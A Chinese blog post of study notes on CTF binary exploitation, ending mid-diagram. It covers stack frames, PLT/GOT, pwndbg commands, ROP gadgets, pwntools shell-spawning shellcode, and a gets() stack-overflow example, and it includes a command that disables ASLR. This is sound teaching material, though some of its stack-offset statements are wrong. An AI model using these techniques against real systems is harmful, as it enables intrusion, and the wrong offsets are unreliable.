Pwn学习随笔

乎语百科 205 0

Pwn题做题流程

  • 使用checksec检查ELF文件保护开启的状态
  • IDApro逆向分析程序漏洞(逻辑复杂的可以使用动态调试)
  • 编写python的exp脚本进行攻击
    • (若攻击不成功)进行GDB动态调试,查找原因
    • (若攻击成功)获取flag,编写Writeup

一般都会在C代码开头设置setbuf(stdout, 0)表示设置printf缓冲区为0,有就输出而不是等到输出\n时一块输出

ebp + 0x4 存放函数中第一个局部变量, ebp - 0x4是返回地址 ebp - 0x8 存放函数第一个参数

栈帧基本知识

Pwn学习随笔

下面解释一下下面的汇编代码(AT&T格式),

首先push %ebp,保存调用者的调用者的ebp寄存器,move %esp, %ebp开始创建caller函数的栈帧,然后sub $0x10, %esp,在32位程序下是4字节对齐的,将esp指针向下移动16字节(参数占12字节,局部变量4字节),即四格, 此时esp指向3上面的地址,

然后将callee函数的参数入栈(cdecl从右往左入栈),然后调用call calleecall指令其实是两条指令,先push esp + 0xc,将返回地址压栈,然后jmp 00000000跳到callee函数的位置开始执行,然后同样的操作,先将caller函数的ebp寄存器压栈,然后mov esp. ebp开始创建callee函数的栈帧,之后开始callee函数的计算功能,取出之前入栈的参数进行加法操作。执行完后将栈中保存的caller函数ebp寄存器的内容再popebp寄存器,此时ebp指向最上面的位置。然后esp - 4,上移一格。最后执行ret指令,其实也是两条指令,pop eipcaller调用callee函数之前入栈的返回地址popeip,下一步就执行该地址。然后esp + 4,回到caller函数的栈帧,可以看到首先是add $0xc, %esp,将栈顶指针提升到3上面的位置,然后mov %eax, -0x4(%ebp),意思就是将eax寄存器的值 (callee的返回值) 赋给ebp-4的位置,即caller函数的局部变量ret,然后addl $0x4,-0x4(%ebp)将局部变量ret的值 + 4,最后再把局部变量赋给eax寄存区准备返回

Pwn学习随笔

call指令执行完后,会在esp中存储返回地址0x401171 = 0x40116c + 4

Pwn学习随笔

进入函数内部后,需要首先执行push ebp,保存调用它的函数的栈帧。然后ebp = esp,提升栈底,准备创建本函数的栈帧,

sub esp, 50,会将esp的位置往上提升0x40 / 4 = 0x10即16格,然后push ebx | esi | edi保存现场到堆栈中, lea edi, dword ptr ss:[ebp-40]取地址编号赋给ediedi = esp + 3*0x4,下面三条之路是一组,stos用于将eax的值存储到edi的地址编号中,ecx记录执行次数。每执行一次,ecx - 1, edi + 4(df位为0)或者edi - 4(df位为1)ccccccccint 3的硬编码 int 3是端点,这样做为了防止缓冲区溢出,未到的栈空间都被设置为cccccccc,CPU执行遇到这里就会将程序停下来了。 下一步mov eax, dword ptr ss:[ebp+8]是函数的第二个参数,ebp+c是函数的第一个参数,这两步执行了关键操作 2 + 1 = 3 此时函数功能就完成了,下面就是恢复现场了,pop edi,可分为两步,mov edi, esp add esp,4,先push的后pop 然后执行mov, esp, ebp,即将栈指针esp下降到之前sub执行前的位置,栈中的数据并没有清除

然后pop ebp,即将0x12ff30赋给ebp然后esp + 4,最后执行retn,相当于pop eipmov eip, 401171然后esp + 4,这个地址就很关键了,这就是我们在pwn中经常覆盖的返回地址。然后返回到调用者中执行,但是需要注意此时esp与刚开始不一样,还没有平衡堆栈,由上图下面的add esp, 8用于平衡堆栈,这种方式就叫外平栈。

Pwn学习随笔

Pwn学习随笔

要覆盖返回地址,即ebp + 4,覆盖了ebp之后还需要再覆盖ebp + 4的位置,64位下为ebp + 8,如上图所示401171即为返回地址

leave指令相当于这两条指令:movl %ebp, %esp即令esp=ebp popl %ebp 即 ebp = M[esp],esp = esp + 4

裸函数示例

int __declspec(naked) plus(){
    __asm{
        //在函数调用之前会先push 1 push 2(传参数)  call后会执行  push 返回地址
         //保留调用前的栈底
        push ebp
        //提升堆栈
        mov ebp,esp
        sub esp,0x40
        //保留现场
        push ebx
        push esi
        push edi
        //填充缓冲区        主要用于存储函数的局部变量
        mov eax,0xcccccccc
        mov ecx,0x10                     // 之所以是10 是因为之前提升堆栈0x40 / 4 = 10  栈一个格四个字节
        lea edi,dword ptr ds:[ebp-0x40]
        rep stosd //每次填充四个字节,重复16次
        //函数的核心功能   ebp + 0x4为返回地址
        mov eax,dword ptr ds:[ebp+0x8]      //把第一个参数给eax  ebp+0x4为函数返回地址
        add eax,dword ptr ds:[ebp+0xc]        //第二个参数 + eax -> eax
        //恢复现场
        pop edi           // 取出栈顶给edi,然后esp+4
        pop esi           // 取出栈顶给esi,然后esp+4
        pop ebx           // 取出栈顶给ebx,然后esp+4
        //降低堆栈
        mov esp,ebp
        pop ebp        //恢复栈底,刚开始ebp保留过
        ret            //相当于pop eip 把函数返回地址401171给eip  然后 rsp + 4
    }
}        //裸函数,系统不会生成任何指令,调用时会出错,会导致指令跳转后回不来,往往需要自己写入汇编指令

Pwntools用法

参考手册

  • 连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口

  • 数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制

  • 设置目标系统架构及操作系统

    >>> context.arch      = 'i386'
    >>> context.os        = 'linux'
    >>> context.endian    = 'little'
    >>> context.word_size = 32
    

    当然,你也可以一次性设置好这些变量:

    >>> asm('nop')
    '\x90'
    >>> context(arch='arm', os='linux', endian='big', word_size=32)
    >>> asm('nop')
    '\xe3 \xf0\x00'
    
  • IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send

send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
(以下可以看作until的特例)
recvline(keepends=True) : 接收到\n,keepends指定保留\n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout
interactive() : 与shell交互
  • ELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址
e = ELF('/bin/cat')
>>> print hex(e.address)  # 文件装载的基地址
0x400000
>>> print hex(e.symbols['write']) # 函数地址
0x401680
>>> print hex(e.got['write']) # GOT表的地址
0x60b070
>>> print hex(e.plt['write']) # PLT的地址
0x401680
>>> print hex(e.search('/bin/sh').next())# 字符串/bin/sh的地址
  • 在编写exp时,最常见的工作就是在整数之间转换,而且转换后,它们的表现形式就是一个字节序列,pwntools提供了打包函数
p32/p64: 打包一个整数,分别打包为32位或64位
u32/u64: 解包一个字符串,得到整数

# 比如将0xdeadbeef进行32位的打包,将会得到'\xef\xbe\xad\xde'(小端序)
payload = p32(0xdeadbeef)  #pack 32 bits number
payload = p64(0xdeadbeef)  #pack 64 bits number
  • 汇编和反汇编

    # 汇编:
    >>> asm('nop')
    '\x90'
    >>> asm('nop', arch='arm')
    '\x00\xf0 \xe3'
    # 可以使用context来指定cpu类型以及操作系统
    >>> context.arch      = 'i386'
    >>> context.os        = 'linux'
    >>> context.endian    = 'little'
    >>> context.word_size = 32
    # 反汇编
    >>> print disasm('6a0258cd80ebf9'.decode('hex'))
       0:   6a 02                   push   0x2
       2:   58                      pop    eax
       3:   cd 80                   int    0x80
       5:   eb f9                   jmp    0x0
    
    

    注意,asm需要binutils中的as工具辅助,如果是不同于本机平台的其他平台的汇编,例如在我的x86机器上进行mips的汇编就会出现as工具未找到的情况,这时候需要安装其他平台的cross-binutils。

  • Shellcode生成器

    >>> print shellcraft.i386.nop().strip('\n')
        nop
    >>> print shellcraft.i386.linux.sh()
        /* push '/bin///sh\x00' */
        push 0x68
        push 0x732f2f2f
        push 0x6e69622f
    ...
    
    

    结合asm可以可以得到最终的pyaload

    from pwn import *
    context(os='linux',arch='amd64')
    shellcode = asm(shellcraft.sh())
    
    或者
    
    from pwn import *
    shellcode = asm(shellcraft.amd64.linux.sh())
    
  • ROP链生成器

    elf = ELF('ropasaurusrex')
    rop = ROP(elf)
    rop.read(0, elf.bss(0x80))
    rop.dump()
    # ['0x0000:        0x80482fc (read)',
    #  '0x0004:       0xdeadbeef',
    #  '0x0008:              0x0',
    #  '0x000c:        0x80496a8']
    str(rop)
    # '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
    

​ 因为ROP对象实现了getattr的功能,可以直接通过func call的形式来添加函数,rop.read(0, elf.bss(0x80))实际相当于rop.call('read', (0, elf.bss(0x80)))。 通过多次添加函数调用,最后使用str将整个rop chain dump出来就可以了。

  • call(resolvable, arguments=()) : 添加一个调用,resolvable可以是一个符号,也可以是一个int型地址,注意后面的参数必须是元组否则会报错,即使只有一个参数也要写成元组的形式(在后面加上一个逗号)

  • chain() : 返回当前的字节序列,即payload

  • dump(): 直观地展示出当前的rop chain

  • raw() : 在rop chain中加上一个整数或字符串

  • search(move=0, regs=None, order=’size’) : 按特定条件搜索gadget

  • unresolve(value) : 给出一个地址,反解析出符号

PLT和GOT

  • GOT(Global Offset Table)全局偏移表。存储导入变量的地址
  • PLT(Procedure Linkage Table)程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址,与常见导入的函数有关,如 read 等函数。
  • .got.plt,这个是 GOT 专门为 PLT 专门准备的节。说白了,.got.plt 中的值是 GOT 的一部分。它包含上述 PLT 表所需地址(已经找到的和需要去触发的),存储导入函数的地址
  • .plt.got,与动态链接有关系。

puts这样的函数都是定义在glibc动态库里的,只有当程序运行起来时才可以确定地址,而运行时重定位是无法修改.text段的地址的,只能将puts重定位到data段,那么got表怎么知道puts()函数的真实地址呢,链接器会额外生成一小段代码,如下所示

.text
...

// 调用printf的call指令
call printf_stub
...
printf_stub:
    mov rax, [printf函数的储存地址] // 获取printf重定位之后的地址
    jmp rax // 跳过去执行printf函数

.data
...
printf函数的储存地址,这里储存printf函数重定位后的地址

总体来说,动态链接每个函数需要两个东西:

  • 用来存放外部函数地址的数据段
  • 用来获取数据段记录的外部函数地址的代码

对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表GOT, Global Offset Table),那个存放额外代码的表称为程序链接表PLT,Procedure Link Table),plt 表不是查询表,而是一块代码。这一块内容是与代码相关的

Pwn学习随笔

可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址,那我们可以发现,在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制

延迟绑定

只有动态库函数在被调用时,才会地址解析和重定位工作,为此可以使用类似这样的代码来实现

//一开始没有重定位的时候将 printf@got 填成 lookup_printf 的地址
void printf@plt()
{
address_good:
    jmp *printf@got
lookup_printf:
    调用重定位函数查找 printf 地址,并写到 printf@got
	goto address_good;//再返回去执行address_good
}

说明一下这段代码工作流程,一开始,printf@got 是 lookup_printf 函数的地址,这个函数用来寻找 printf() 的地址,然后写入 printf@got,lookup_printf 执行完成后会返回到 address_good,这样再 jmp 的话就可以直接跳到printf 来执行了

也就是说这样的机制的话如果不知道 printf 的地址,就去找一下,知道的话就直接去 jmp 执行 printf 了

下面是一段plt表的示例

Disassembly of section .plt:

080482d0 <common@plt>:
 80482d0:	ff 35 04 a0 04 08    	pushl  0x804a004
 80482d6:	ff 25 08 a0 04 08    	jmp    *0x804a008  跳转到_dl_runtime_resolve这个函数中查找运行时地址  它是got表的													第三项,所以可以看到该地址为08  而puts对应的got表的地址为0c
 80482dc:	00 00                	add    %al,(%eax)
	...

080482e0 <puts@plt>:
 80482e0:	ff 25 0c a0 04 08    	jmp    *0x804a00c  从got表的第四项开始
 80482e6:	68 00 00 00 00       	push   $0x0   这个 push进去的实际上就是在 got 表中的索引
 80482eb:	e9 e0 ff ff ff       	jmp    80482d0 <_init+0x28>   又跳到最上面的 公共 plt

080482f0 <__libc_start_main@plt>:
 80482f0:	ff 25 10 a0 04 08    	jmp    *0x804a010
 80482f6:	68 08 00 00 00       	push   $0x8   每一个got表项对应的 push 的参数之间的间隔为8
 80482fb:	e9 d0 ff ff ff       	jmp    80482d0 <_init+0x28>

其中除第一个表项以外,plt 表的第一条都是跳转到对应的 got 表项,而 got 表项的内容我们可以通过 gdb 来看一下,如果函数还没有执行的时候,这里的地址是对应 plt 表项的下一条命令,即 push 0x0(作为参数传入-- 相应函数在 rel.plt 中的偏移)

在想要调用的函数没有被调用过,想要调用他的时候,是按照这个过程来调用的

xxx@plt -> xxx@got -> xxx@plt -> 公共@plt -> _dl_runtime_resolve(通过这个函数找到运行时函数的地址)

到这里我们还需要知道

  1. _dl_runtime_resolve 是怎么知道要查找 printf 函数的
  2. _dl_runtime_resolve 找到 printf 函数地址之后,它怎么知道回填到哪个 GOT 表项

第一个问题,在 xxx@plt 中,我们在 jmp 之前 push 了一个参数,每个 xxx@plt 的 push 的操作数都不一样,那个参数就相当于函数的 id,告诉了 _dl_runtime_resolve 要去找哪一个函数的地址

第二个问题,看 .rel.plt 的位置就对应着 xxx@plt 里 jmp 的地址,该位置就是偏移量,使用readelf -r plt读取elf文件中重定位节信息

Pwn学习随笔

在 i386 架构下,除了每个函数占用一个 GOT 表项外,GOT 表项还保留了3个公共表项,也即 got 的前3项,分别保存:

  • got [0]: 本 ELF 动态段 (.dynamic 段)的装载地址
  • got [1]:本 ELF 的 link_map 数据结构描述符地址,包含了进行符号解析需要的当前 ELF 对象的信息。每个 link_map 都是一条双向链表的一个节点,而这个链表保存了所有加载的 ELF 对象的信息。
  • got [2]:指向动态装载器中 _dl_runtime_resolve 函数的指针。

动态链接器在加载完 ELF 之后,都会将这3地址写到 GOT 表的前3项

Pwn学习随笔

Pwn学习随笔

通过编写如下所示的代码来帮助理解pltgot这两个表

// gcc -m32 -no-pie -g -o plt plt.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
   puts("hello,world");
   exit(0);
}

使用objdump -h plt,查看该文件编译后的所有节的信息

plt:     file format elf32-i386
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
 10 .rel.plt      00000018  0804832c  0804832c  0000032c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 12 .plt          00000040  08049030  08049030  00001030  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .plt.sec      00000030  08049070  08049070  00001070  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 22 .got          00000004  0804bffc  0804bffc  00002ffc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .got.plt      00000018  0804c000  0804c000  00003000  2**2
                  CONTENTS, ALLOC, LOAD, DATA

然后打开gdb进行分析,可以看到调用函数puts的地址为0x80491de,在该地址处下一个断点

Pwn学习随笔

然后使用si进入puts函数内部

Pwn学习随笔

可以看到在 puts@plt 中第一条指令是跳转,0x804c00c其实就是[_GLOBAL_OFFSET_TABLE_ + 12],这个地址刚好位于.got.plt表中,也就是说,puts@plt 的第一步是去 .got.plt 找地址

 23 .got.plt      00000018  0804c000  0804c000  00003000  2**2
                  CONTENTS, ALLOC, LOAD, DATA

Pwn学习随笔

这时候我们如果再按一次si,可以看到会直接执行到下面的那一行的指令,原因就是:我们之前没有调用过 puts@plt 函数,.got.plt 里面存储的puts的地址就是下一条指令的地址而非真正的地址,所以按照之前说的,现在要触发链接器找到 puts 函数的地址了

下面的[_GLOBAL_OFFSET_TABLE_ + 4] 处的指令,这个地址0x804c004也是位于.got.plt节中的,查看该地址存储的内容

Pwn学习随笔

其中0xf7ffd990指向ld.so的数据段,0xf7fe7b10指向可执行区域,简而言之,触发了链接器/加载器,在加载器处理之前,查看之前的.got.plt节中的地址0x804c00c所存储的值为

Pwn学习随笔

而当我们单步执行,执行完puts函数后,在此查看该地址所存储的内容,可以看到该地址存储的内容已经发生了改变

Pwn学习随笔

具体的流程可以看下面这张图片,对于符号去got表中找它的真实地址,如果不存在就触发链接器/加载器去更新函数的真实地址

Pwn学习随笔

Pwn学习随笔

在此查看0xf7e3cc30处存储的内容,其实就是glibc这个运行库中的puts函数的真实地址

Pwn学习随笔

pwndbg基本操作

基本指令

  • help //帮助
  • i//info,查看一些信息,只输入info可以看可以接什么参数,下面几个比较常用
    • i b //常用,info break 查看所有断点信息(编号、断点位置)
    • i r //常用,info registers 查看各个寄存器当前的值
    • i f //info function 查看所有函数名,需保留符号
  • show//和info类似,但是查看调试器的基本信息,如:
    • show args //查看参数
  • rdi //常用,+寄存器名代表一个寄存器内的值,用在地址上直接相当与一个十六进制变量
  • backtrace //查看调用栈
  • q //quit 退出,常用
  • vmmap //内存分配情况

执行指令

  • s//单步步入,遇到调用跟进函数中,相当于step into,源码层面的一步

    • si //常用汇编层面的一步
  • n//单步步过,遇到函数不跟进,相当于step over,源码层面的一步
    • ni //常用汇编层面的一步
  • c //continue,常用,继续执行到断点,没断点就一直执行下去
  • r //run,常用,重新开始执行
  • start // 类似于run,停在main函数的开始

断点指令

下普通断点指令b(break):
  • b *(0x123456) //常用,给0x123456地址处的指令下断点
  • b *$ rebase(0x123456) //$rebase 在调试开PIE的程序的时候可以直接加上程序的随机地址

  • b fun_name//常用,给函数fun_name下断点,目标文件要保留符号才行

    • b file_name:fun_name
  • b file_name:15//给file_name的15行下断点,要有源码才行

    • b 15
  • b +0x10 //在程序当前停住的位置下0x10的位置下断点,同样可以-0x10,就是前0x10

  • break fun if $rdi==5 //条件断点,rdi值为5的时候才断

删除、禁用断点:
  • info break(简写: i b) //查看断点编号
  • delete 5 //常用,删除5号断点,直接delete不接数字删除所有 缩写: d 5
  • disable 5 //常用,禁用5号断点
  • enable 5 //启用5号断点
  • clear //清除下面的所有断点
内存断点指令watch:
  • watch 0x123456 //0x123456地址的数据改变的时候会断
  • watch a //变量a改变的时候会断
  • info watchpoints //查看watch断点信息
捕获断点catch:
  • catch syscall //syscall系统调用的时候断住
  • tcatch syscall //syscall系统调用的时候断住,只断一次
  • info break //catch的断点可以通过i b查看
除syscall外还可以使用的有:
1)throw: 抛出异常
2)catch: 捕获异常
3)exec: exec被调用
4)fork: fork被调用
5)vfork: vfork被调用
6)load: 加载动态库
7)load libname: 加载名为libname的动态库
8)unload: 卸载动态库
9)unload libname: 卸载名为libname的动态库
10)syscall [args]: 调用系统调用,args可以指定系统调用号,或者系统名称

打印指令

查看内存指令x:
  • x /nuf 0x123456 //常用,x指令的格式是:x空格/nfu,nfu代表三个参数

    • n代表显示几个单元(而不是显示几个字节,后面的u表示一个单元多少个字节),放在/后面
    • u代表一个单元几个字节,b(一个字节),h(2字节),w(四字节),g(八字节)
    • f代表显示数据的格式,f和u的顺序可以互换,也可以只有一个或者不带n,用的时候很灵活
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。
s 按字符串显示。
b 按字符显示。
i 显示汇编指令。
  • x /10gx 0x123456 //常用,从0x123456开始每个单元八个字节,十六进制显示10个单元的数据
  • x /10xd $rdi //从rdi指向的地址向后打印10个单元,每个单元4字节的十进制数
  • x /10i 0x123456 //常用,从0x123456处向后显示十条汇编指令
打印指令p(print):
  • p fun_name //打印fun_name的地址,需要保留符号

  • p 0x10-0x08 //计算0x10-0x08的结果

  • p &a //查看变量a的地址

  • p *(0x123456) //查看0x123456地址的值,注意和x指令的区别,x指令查看地址的值不用星号

  • p $rdi //显示rdi寄存器的值,注意和x的区别,这只是显示rdi的值,而不是rdi指向的值

    p *($rdi) //显示rdi指向的值

打印汇编指令disass(disassemble):
  • disass 0x123456 //显示0x123456前后的汇编指令
  • x /10i //我一般喜欢用x显示指令
打印源代码指令list:
  • list//查看当前附近10行代码,要有源码,list指令pwn题中几乎不用,但为了完整性还是简单举几个例子

    • list 38 //查看38行附近10行代码
    • list 1,10 //查看1-10行
    • list main //查看main函数开始10行

修改和查找指令

修改数据指令set:
  • set $rdi=0x10 //把rdi寄存器的值变为0x10
  • set *(0x123456)=0x10 //0x123456地址的值变为0x10,注意带星号
  • set args "abc" "def" "gh" //给参数123赋值
  • set args "python -c 'print "1234\x7f\xde"'"' //使用python给参数赋值不可见字符
查找数据:
  • search rdi //从当前位置向后查包含rdi的指令,返回若干
  • search -h //查看search帮助,我也不太长用这个指令
  • find "hello" //查找hello字符串,pwndbg独有
  • ropgadget //查找ropgadget,pwndbg独有,没啥用,可以用其他工具

堆操作指令(pwndbg插件独有)

  • arena //显示arena的详细信息

    • arenas //显示所有arena的基本信息
    • arenainfo //好看的显示所有arena的信息
  • bins //常用,查看所有种类的堆块的链表情况
    • fastbins //单独查看fastbins的链表情况
    • largebins //同上,单独查看largebins的链表情况
    • smallbins //同上,单独查看smallbins的链表情况
    • unsortedbin //同上,单独查看unsortedbin链表情况
    • tcachebins //同上,单独查看tcachebins的链表情况
    • tcache //查看tcache详细信息
  • heap //数据结构的形式显示所有堆块,会显示一大堆
    • heapbase //查看堆起始地址
    • heapinfoheapinfoall //显示堆得信息,和bins的挺像的,没bins好用
    • parseheap //显示堆结构,很好用
  • tracemalloc //好用,会跟提示所有操作堆的地方

视图

layout:用于分割窗口,可以一边查看代码,一边测试。主要有以下几种用法: layout src:显示源代码窗口 layout asm:显示汇编窗口 layout regs:显示源代码/汇编和寄存器窗口 layout split:显示源代码和汇编窗口 layout next:显示下一个layout layout prev:显示上一个layout Ctrl + L:刷新窗口 Ctrl + x,再按1:单窗口模式,显示一个窗口 Ctrl + x,再按2:双窗口模式,显示两个窗口 Ctrl + x,再按a:回到传统模式,即退出layout,回到执行layout之前的调试窗口。

其他pwndbg插件独有指令

  • cyclic 50 //生成50个用来溢出的字符,如:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
  • $reabse //开启PIE的情况的地址偏移
    • b *$reabse(0x123456) // 断住PIE状态下的二进制文件中0x123456的地方
    • codebase //打印PIE偏移,与rebase不同,这是打印,rebase是使用
  • stack //查看栈
  • retaddr //打印包含返回地址的栈地址
  • canary //直接看canary的值
  • plt //查看plt表
  • got //查看got表
  • hexdump //像IDA那样显示数据,带字符串

Return Oriented Programming

缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。

Performing code-injection attacks on program RTARGET is much more difficult than it is for CTARGET, because it uses two techniques to thwart such attacks:

  • It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located. 开启了PIE 保护(栈随机化)
  • It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault. 开启了NX保护(栈中数据不可执行)
  • 此外,还有一种栈保护,如果栈中开启Canary found,金丝雀值,在栈返回的地址前面加入一段固定数据,栈返回时会检查该数据是否改变。那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过

The strategy with ROP is to identify byte sequences within an existing program that consist of one or more instructions followed by the instruction ret. Such a segment is referred to as a gadget

ROPgadget

ROP是用来绕过NX保护的,开启 NX 保护的话,栈、堆的内存空间就没有执行权限了,直接向栈或者堆上直接注入代码的攻击方式就无效了。

ROP的主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
  • 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。‘

ROP其实就是利用已存在的代码执行出我们想要的效果,如下图所示,分为多个gadget,每一个gadget都是一段指令序列,最后以ret指令(0xc3)结尾,多个gadget中的指令形成一条利用链,一个gadget可以利用编译器生成的对应于汇编语言的代码,事实上,可能会有很多有用的gadgets,但是还不足以实现一些重要的操作,比如正常的指令序列是不会在ret 指令前出现pop %edi指令的。幸运的是,在一个面向字节的指令集,比如x86-64,通常可以通过从指令字节序指令的其他部分提取出我们想要的指令。

Pwn学习随笔

下面举个例子来详细说明ROP与之前的Buffer overflow有什么区别,我们不关心栈地址在哪,只需要看有没有可以利用的指令

我们可以在程序的汇编代码中找到这样的代码:

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

这段代码的本意是

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

这样一个函数,但是通过观察我们可以发现,汇编代码的最后部分:48 89 c7 c3又可以代表

movq %rax, %rdi
ret

这两条指令(指令的编码可以见讲义中的附录)。

第1行的movq指令可以作为攻击代码的一部分来使用,那么我们怎么去执行这个代码呢?我们知道这个函数的入口地址是0x400f15,这个地址也是这条指令的地址。我们可以通过计算得出48 89 c7 c3这条指令的首地址是0x400f18,我们只要把这个地址存放在栈中,在执行ret指令的时候就会跳转到这个地址,执行48 89 c7 c3编码的指令。同时,我们可以注意到这个指令的最后是c3编码的是ret指令,利用这一点,我们就可以把多个这样的指令地址依次放在栈中,每次ret之后就会去执行栈中存放的下一个地址指向的指令,只要合理地放置这些地址,我们就可以执行我们想要执行的命令从而达到攻击的目的。

下面是一些常见指令的指令码

  • movq : The codes for these are shown in Figure 3A.
  • popq : The codes for these are shown in Figure 3B.
  • ret : This instruction is encoded by the single byte 0xc3.
  • nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte 0x90. Its only effect is to cause the program counter to be incremented by 1

一些常见指令对应的机器码,movqpopqmovlnop(2 Bytes)可以参考CSAPP AttackLab

Pwn学习随笔

Pwn学习随笔

Pwn学习随笔

Pwn学习随笔

寻找 gadget

理论上,ROP是图灵完备的。在漏洞利用过程中,比较常用的gadget有以下类型:

  • 保存栈数据到寄存器,如pop rax; ret;
  • 系统调用,如 syscall; ret; int 0x80; ret;
  • 会影响栈帧的gadget,如 leave; ret; pop rbp; retleave指令相当于move rsp(目的), rbp;(即rsp = rbp) pop rbp
  • 如果是一个很小的程序,首先应该查找有没有syscall这类的gadget,没有的话就要想办法获取一些动态链接库(如libc)的加载地址,再用libc中的gadget构造可以实现任意代码执行的ROP。程序中常常有puts getslibc提供的库函数,这些函数在内存中的地址会写在程序的GOT表中,当程序调用库函数时,会在GOT表中读出对应函数在内存中的地址,然后跳转到该地址执行,所以先利用puts函数打印库函数的地址,减掉该库函数与libc加载基地址的偏移,就可以计算libc的基地址。然后可以利用libc中的gadget构造可以执行 " /bin/sh" 的ROP,

ROPgadget

使用ROPgadget检查程序中是否存在/bin/sh字符串或某条指令:
ROPgadget --binary 文件名 --string="/bin/sh"
ROPgadget --binary 文件名 --sting '/bin/sh'
命令: ROPgadget --binary 文件名 --sting 'sh'

命令: ROPgadget --binary 文件名 --sting 'cat flag'
命令: ROPgadget --binary 文件名 --sting 'cat flag.txt'

ROPgadget --binary 文件名 --only="pop|ret"
用ROPgadget找一下程序里有没有可以用的改变rdi寄存器的值的gadgets
ROPgadget --binary 文件名 --only "pop|ret" | grep rdi

栈溢出

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。下面,我们举一个简单的例子:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。

输入gcc -m32 -fno-stack-protector stack1.c -o stack1 -no-pie -z execstack进行编译,可以看见报错了(但仍会生成可执行文件),可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈 溢出,

Pwn学习随笔

gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。-z execstack表示开启栈的可执行权限,在gcc4.1中默认禁用, 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有--enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie

编译成功后,可以使用 checksec 工具检查编译出的文件:

Pwn学习随笔

提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。

确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到

int vulnerable()
{
  char s; // [sp+4h] [bp-14h] 

  gets(&s);
  return puts(&s);
}

该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

                                           +-----------------+
                                           |     retaddr     |
                                           +-----------------+
